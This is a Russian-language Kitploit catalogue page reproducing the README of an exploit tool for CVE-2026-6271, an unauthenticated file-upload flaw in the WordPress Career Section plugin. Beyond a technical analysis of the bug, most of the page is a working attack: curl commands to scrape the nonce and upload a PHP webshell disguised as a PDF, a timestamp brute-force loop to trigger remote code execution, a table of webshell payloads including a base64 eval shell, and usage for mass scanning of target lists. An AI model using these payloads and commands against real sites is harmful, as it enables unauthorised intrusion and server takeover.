Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-6271 — Автоматический сканер для CVE-2026-6271 — критической неаутентифицированной произвольной загрузки файлов, приводящей к RCE в плагине Career Section для WordPress. Поддерживает многопоточное сканирование, несколько типов шеллов и интеграцию с прокси. | Kitploit
Инструменты/GitHubGitHub/xxconi/cve-2026-6271
Сканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubxxconi/cve-2026-6271

CVE-2026-6271

Автоматический сканер для CVE-2026-6271 — критической неаутентифицированной произвольной загрузки файлов, приводящей к RCE в плагине Career Section для WordPress. Поддерживает многопоточное сканирование, несколько типов шеллов и интеграцию с прокси.

Репозиторий
34 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-6271 — Сканер RCE для плагина Career Section WordPress

Плагин: Career Section (career-section) ID CVE: CVE-2026-6271 Оценка CVSS: 9.8 (Critical) Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Тип уязвимости: Неаутентифицированная произвольная загрузка файлов → удалённое выполнение кода Подверженные версии: <= 1.7 Исправленная версия: 1.8 Дата публикации: 13 мая 2026 г. Исследователь: Paolo Tresso — Wordfence


📌 Об уязвимости

Плагин Career Section позволяет владельцам сайтов публиковать вакансии и собирать заявки. На каждой странице вакансии есть форма «Apply Now». Эта форма содержит поле загрузки файла резюме (CV).

В версиях 1.7 и более ранних обработчик загрузки принимает файлы любого типа — включая .php. Поскольку форма общедоступна, а CSRF-токен встроен в HTML-код страницы, эта уязвимость может быть использована без какого-либо аккаунта или прав.


⚙️ Технический анализ

Почему nonce не обеспечивает защиту?

Nonce WordPress — это CSRF-токен, а не токен аутентификации. Значение nonce встроено в HTML-код страницы для каждого посетителя:

<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>

Любой неаутентифицированный посетитель может получить действительный nonce и пройти проверку.

Отсутствие проверки типа файла

// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {

    $original_name = sanitize_file_name( $_FILES['cv']['name'] );
    $name_file     = time() . '_' . $original_name;
    $destination   = $cs_dir . '/' . $name_file;

    // Проверка расширения ОТСУТСТВУЕТ — принимается всё, включая .php
    if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
        $uploaded_file_url = $upload_dir['baseurl']
                           . '/cs_applicant_submission_files/'
                           . $name_file;
    }
}

sanitize_file_name() только очищает специальные символы, но не блокирует опасные расширения.

Директория загрузки

wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>

В этой директории отсутствует файл .htaccess, запрещающий выполнение PHP.


🔴 Почему это критично?

ПричинаОписание
Аутентификация не требуетсяNonce встроен в публичный HTML
Нет ограничений по типу файлаПринимаются .php, .php5, .phtml
Нет защиты .htaccessPHP выполняется в директории загрузки
Предсказуемое имя файлаtime()_filename → перебор timestamp

🧪 Proof of Concept (вручную)

⚠️ Дисклеймер: Этот PoC предназначен только для образовательных целей. Тестируйте только на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.

Предварительные условия:

  • Плагин Career Section установлен и активирован (версия ≤ 1.7)
  • Опубликована хотя бы одна вакансия

Шаг 1 — Создание PHP-вебшелла

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Шаг 2 — Получение nonce

TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"

NONCE=$(curl -s "$JOB_URL" \
  | grep -oP 'name="csaf_form_nonce" value="\K[^"]+')

echo "Nonce: $NONCE"

Структура, которую нужно искать в исходном коде страницы:

<input type="hidden"
       id="csaf_form_nonce"
       name="csaf_form_nonce"
       value="a1b2c3d4e5" />

Шаг 3 — Загрузка вебшелла

TS=$(date +%s)

curl -s -X POST "$JOB_URL" \
  -F "first_name=John" \
  -F "last_name=Doe" \
  -F "present_address=123 Main St" \
  -F "[email protected]" \
  -F "mobile_no=1234567890" \
  -F "post_name=Engineer" \
  -F "submit=Submit" \
  -F "csaf_form_nonce=$NONCE" \
  -F "[email protected];type=application/pdf" \
  | grep -o "Application has been sent"

Шаг 4 — Активация RCE

Имя файла имеет формат <timestamp>_shell.php. Перебирайте timestamp'ы вокруг $TS:

UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"

for T in $(seq $((TS-2)) $((TS+2))); do
  URL="$UPLOADS/${T}_shell.php"
  RESULT=$(curl -s "$URL?cmd=id")
  if echo "$RESULT" | grep -q "uid="; then
    echo "Webshell активен: $URL"
    echo "Вывод RCE      : $RESULT"
    break
  fi
done

Ожидаемый результат:

Webshell активен: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
Вывод RCE      : uid=33(www-data) gid=33(www-data) groups=33(www-data)

🛠️ Автоматический сканер

Установка

git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt

requirements.txt

requests

🚀 Использование

Одиночная цель

python career_section_rce.py -u http://hedef.com

С прямой ссылкой на вакансию

python career_section_rce.py -u http://hedef.com \
  --job-url http://hedef.com/careers/engineer/

С проверкой шелла

python career_section_rce.py -u http://hedef.com \
  --verify-cmd "whoami"

Массовое сканирование

python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt

Увеличение окна timestamp (для медленных серверов)

python career_section_rce.py -u http://hedef.com --ts-window 10

Полноценный шелл + прокси (Burp Suite)

python career_section_rce.py -u http://hedef.com \
  --shell-type full \
  --proxy http://127.0.0.1:8080

⚙️ Параметры

ПараметрКороткийОписаниеПо умолчанию
--url-uURL одиночной цели—
--list-lФайл со списком целей—
--threads-tКоличество потоков10
--output-oФайл выводаrce_confirmed.txt
--job-url—Прямой URL страницы вакансии—
--shell-name—Имя загружаемого файлаshell.php
--shell-type—Тип шеллаsystem
--verify-cmd—Команда проверки RCEid
--ts-window—Окно перебора timestamp (±сек)5
--proxy—URL прокси—
--timeout—Таймаут запроса (сек)10

💀 Типы шеллов

ТипPayloadОписание
system<?php system($_GET["cmd"]); ?>Базовая системная команда
passthru<?php passthru($_GET["cmd"]); ?>Сырой вывод
exec<?php echo exec($_GET["cmd"]); ?>Тихий запуск
assert<?php assert($_POST["cmd"]); ?>Выполнение через POST
b64<?php eval(base64_decode($_POST["cmd"])); ?>Обфускация Base64
fullshell_exec + system + exec fallbackПолнофункциональный шелл

📂 Расположение загрузки шелла

Корень WordPress/
└── wp-content/
    └── uploads/
        └── cs_applicant_submission_files/
            └── <timestamp>_shell.php   ← Шелл здесь

Прямой доступ:

curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

📊 Статусы вывода сканера

СтатусОписание
★ RCE OKШелл загружен + команда успешно выполнена
★ SHELL ALIVEШелл доступен, вернул иной ответ
~ EXEC_DISABLEDШелл существует, но exec() отключён на сервере
? UPLOADEDЗагружено, но timestamp не найден
- BLOCKEDТип файла заблокирован (исправленная версия)
~ NO_NONCEcsaf_form_nonce не найден
~ TIMEOUTТаймаут соединения
~ UNREACHЦель недоступна

🖥️ Пример вывода сканера

[*] 3 цели | CVE-2026-6271 Career Section | threads=10
Скачать инструмент